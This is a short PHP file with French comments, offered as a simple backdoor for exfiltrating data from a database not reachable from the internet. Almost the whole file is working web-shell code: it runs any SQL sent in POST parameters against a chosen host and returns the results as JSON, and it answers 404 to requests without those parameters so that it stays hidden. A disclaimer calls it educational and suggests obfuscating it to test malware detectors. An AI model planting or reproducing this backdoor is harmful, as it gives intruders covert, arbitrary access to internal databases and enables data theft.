SqlBackDoor.php

Backdoor simple en PHP (Utiliser pour exfiltrer des données d’une base de données non accessible depuis l’internet)

<?php
// Fourni à des fins éducatives uniquement
// Ce code peut être obscurci pour tester les logiciels de détection de codes malveillants

// optionnel (vous permet de protéger votre porte dérobée, mais donne des informations sur la personne qui l'a mise en place)
// Récupération de l'adresse IP de l'envoyeur de la requête POST
// Et vérifie qu'elle est autorisé a utilisé la backdoor
/*
$ip = $_SERVER['REMOTE_ADDR'];
$ipCheck = '0.0.0.0';
if ($ip == $ipCheck){
    // Si l'adresse IP est incorrecte, renvoie une erreur 404.
    http_response_code(404);
    exit;
}
*/

// Vérification si les paramètres sont renseignés
if (!isset($_POST['sql']) || !isset($_POST['host']) || !isset($_POST['bdname']) || !isset($_POST['user']) || !isset($_POST['password'])) {
    // Si tous les paramètres ne sont pas renseignés, renvoie une erreur 404
    http_response_code(404);
    exit;
}

// Récupération des paramètres de la requête POST
$sql =  $_POST['sql'];
$host = $_POST['host'];
$bdname = $_POST['bdname'];
$user = $_POST['user'];
$password = $_POST['password'];

try {
    // Connexion à la base de données MySQL
    $pdo = new PDO("mysql:dbname=$bdname;host=$host", "$user", "$password");
    // Préparation de la requête SQL
    $statement = $pdo->prepare($sql);
    // Exécution de la requête SQL
    $statement->execute();
    // Récupération des résultats de la requête SQL
    $results = $statement->fetchAll(PDO::FETCH_ASSOC);
    // Encodage des résultats au format JSON
    $json = json_encode($results);
    // Affichage des résultats au format JSON
    die($json);
} catch (PDOException $e) {
    // Si une erreur se produit lors de la connexion à la base de données ou lors de l'exécution de la requête SQL, renvoie l'erreur.
    die("Erreur : " . $e->getMessage());
}
?>